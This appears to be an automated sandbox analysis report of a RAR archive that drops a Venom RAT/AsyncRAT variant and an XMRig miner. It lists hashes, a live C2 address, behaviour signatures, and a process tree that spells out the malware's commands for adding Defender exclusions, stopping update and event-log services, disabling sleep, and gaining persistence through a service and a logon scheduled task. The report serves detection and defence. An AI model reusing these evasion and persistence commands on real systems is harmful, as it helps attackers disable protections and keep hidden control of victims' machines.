Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    29-11-2024 05:43

General

  • Target

    Nova (1).rar

  • Size

    2.1MB

  • MD5

    50ee1cf21948c6015354e9c1a94ca5db

  • SHA1

    f2f6fb19a2db75d2d5515fd3a20c66eb8f3e6d42

  • SHA256

    8fe639c3cbdcb49a5246f85ce136f14c8c0ad5150c6e38b5eb66eced9d4c4329

  • SHA512

    46c8a6e2818972ec363b5905838e05828a87b10c7991ae5124c485ccf625da0cff4985d675bbda08a9eccf1fc1027c5db0a22f8e99c732f7593f66c68f3654dc

  • SSDEEP

    49152:OWYU2F4Tu9YiDuTnlvraYTi04JIBv1WteMcP+1HFFNFwAAnv4qy+d:ZYLCiDuDluYe0cUwp31bN1Aj

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

193.161.193.99:53757

Mutex

hsaurcrgqwhjimnkbht

Attributes
  • delay

    1

  • install

    true

  • install_file

    Load.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Async RAT payload 1 IoCs
  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 3 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Nova (1).rar"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Users\Admin\AppData\Local\Temp\7zO8D915A86\Loader.exe
      "C:\Users\Admin\AppData\Local\Temp\7zO8D915A86\Loader.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2244
      • C:\Users\Admin\AppData\Local\Temp\Loader.exe
        "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2944
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1944
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3048
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            5⤵
            • Drops file in Windows directory
            PID:2548
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          4⤵
          • Launches sc.exe
          PID:3008
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          4⤵
          • Launches sc.exe
          PID:2224
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          4⤵
          • Launches sc.exe
          PID:2196
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          4⤵
          • Launches sc.exe
          PID:3040
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          4⤵
          • Launches sc.exe
          PID:316
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          4⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1152
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          4⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1220
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          4⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1148
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          4⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1752
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe delete "KFUNOUIY"
          4⤵
          • Launches sc.exe
          PID:2360
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe create "KFUNOUIY" binpath= "C:\ProgramData\xqgefzhhbtbb\nnegaqupnsqi.exe" start= "auto"
          4⤵
          • Launches sc.exe
          PID:536
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop eventlog
          4⤵
          • Launches sc.exe
          PID:928
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe start "KFUNOUIY"
          4⤵
          • Launches sc.exe
          PID:2380
      • C:\Users\Admin\AppData\Local\Temp\Load.exe
        "C:\Users\Admin\AppData\Local\Temp\Load.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2936
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Load" /tr '"C:\Users\Admin\AppData\Roaming\Load.exe"' & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2280
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc onlogon /rl highest /tn "Load" /tr '"C:\Users\Admin\AppData\Roaming\Load.exe"'
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2740
        • C:\Windows\system32\cmd.exe
          cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpD7F7.tmp.bat""
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2780
          • C:\Windows\system32\timeout.exe
            timeout 3
            5⤵
            • Delays execution with timeout.exe
            PID:2788
          • C:\Users\Admin\AppData\Roaming\Load.exe
            "C:\Users\Admin\AppData\Roaming\Load.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:2452
  • C:\ProgramData\xqgefzhhbtbb\nnegaqupnsqi.exe
    C:\ProgramData\xqgefzhhbtbb\nnegaqupnsqi.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2648
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:852
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2300
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2352
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:2964
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:1360
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:1712
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:1496
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:1336
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:804
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1908
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1700
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:900
    • C:\Windows\system32\conhost.exe
      C:\Windows\system32\conhost.exe
      2⤵
        PID:1972
      • C:\Windows\explorer.exe
        explorer.exe
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1984

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\7zO8D915A86\Loader.exe

      Filesize

      2.1MB

      MD5

      a07c79f9e2dd72f3b884928ee384344e

      SHA1

      88df6b54a3e53a501b09b32de2def406820879fa

      SHA256

      35c4d936db755868a37561663cd4b279b338413db5f89c2f9df71d74a6d35b61

      SHA512

      cdb6957a1e59b053fdd8f0d43d9b1ba575da2140c5d2c547b87e8a5b1199f2d071f66152ade3cfdb5294903cf42f395a948b28ea87aef9d9aa6eacdeaffdd1fd

    • C:\Users\Admin\AppData\Local\Temp\Load.exe

      Filesize

      74KB

      MD5

      4fc5086bcb8939429aea99f7322e619b

      SHA1

      8d3bd7d005710a8ae0bd0143d18b437be20018d7

      SHA256

      e31d6dc4d6f89573321f389c5b3f12838545ff8d2f1380cfba1782d39853e9fd

      SHA512

      04e230f5b39356aecf4732ac9a2f4fea96e51018907e2f22c7e3f22e51188b64cdb3e202fe324f5e3500761fae43f898bf9489aa8faa34eff3566e1119a786d2

    • C:\Users\Admin\AppData\Local\Temp\tmpD7F7.tmp.bat

      Filesize

      148B

      MD5

      9a6abc8c6bf3b6fd760da37b06abbdbe

      SHA1

      6bd4c7a692f91a8d2da609acd9e6a7b95b543e4d

      SHA256

      cc36164f83be8bcd79eb62b186b72fc8e35b816d21c5a2d6b0a9834144c5c29a

      SHA512

      d06a836bd7cd6c032b47e2ced3b9f10daa19d71e5c4c02c7577fead4c16d1ce7acdcad407761a7c57cfb60dafa10c1e615b6f2a6a32df4e1716a5307e0298be2

    • C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

      Filesize

      8B

      MD5

      cf759e4c5f14fe3eec41b87ed756cea8

      SHA1

      c27c796bb3c2fac929359563676f4ba1ffada1f5

      SHA256

      c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

      SHA512

      c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

    • \Users\Admin\AppData\Local\Temp\Loader.exe

      Filesize

      2.5MB

      MD5

      35c54b6a9227ccb7149698254dc8dd52

      SHA1

      33433b0716128f7c887d7929ec50fab495e45f38

      SHA256

      db7744a5e7567b151e15c6159b03eb71974233db90716b38d7bb726fd61798e4

      SHA512

      492de363f0252005a303b7b169721f8536d131bbca71ef37bae59b4b17427dda869c14eea72fd3ed69efc0a3b19b9c3b18e7d6ada1721fbf9b0ce3bfaa57cc12

    • memory/852-54-0x0000000000840000-0x0000000000848000-memory.dmp

      Filesize

      32KB

    • memory/852-53-0x0000000019EF0000-0x000000001A1D2000-memory.dmp

      Filesize

      2.9MB

    • memory/1944-45-0x000000001B570000-0x000000001B852000-memory.dmp

      Filesize

      2.9MB

    • memory/1944-46-0x0000000002290000-0x0000000002298000-memory.dmp

      Filesize

      32KB

    • memory/1972-56-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/1972-55-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/1972-62-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/1972-59-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/1972-58-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/1972-57-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/1984-68-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/1984-69-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/1984-78-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/1984-75-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/1984-74-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/1984-73-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/1984-72-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/1984-70-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/1984-71-0x00000000001C0000-0x00000000001E0000-memory.dmp

      Filesize

      128KB

    • memory/1984-77-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/1984-76-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/1984-67-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/1984-66-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/1984-65-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/1984-64-0x0000000140000000-0x0000000140835000-memory.dmp

      Filesize

      8.2MB

    • memory/2244-11-0x0000000000230000-0x000000000044A000-memory.dmp

      Filesize

      2.1MB

    • memory/2452-39-0x00000000013A0000-0x00000000013B8000-memory.dmp

      Filesize

      96KB

    • memory/2936-25-0x00000000011D0000-0x00000000011E8000-memory.dmp

      Filesize

      96KB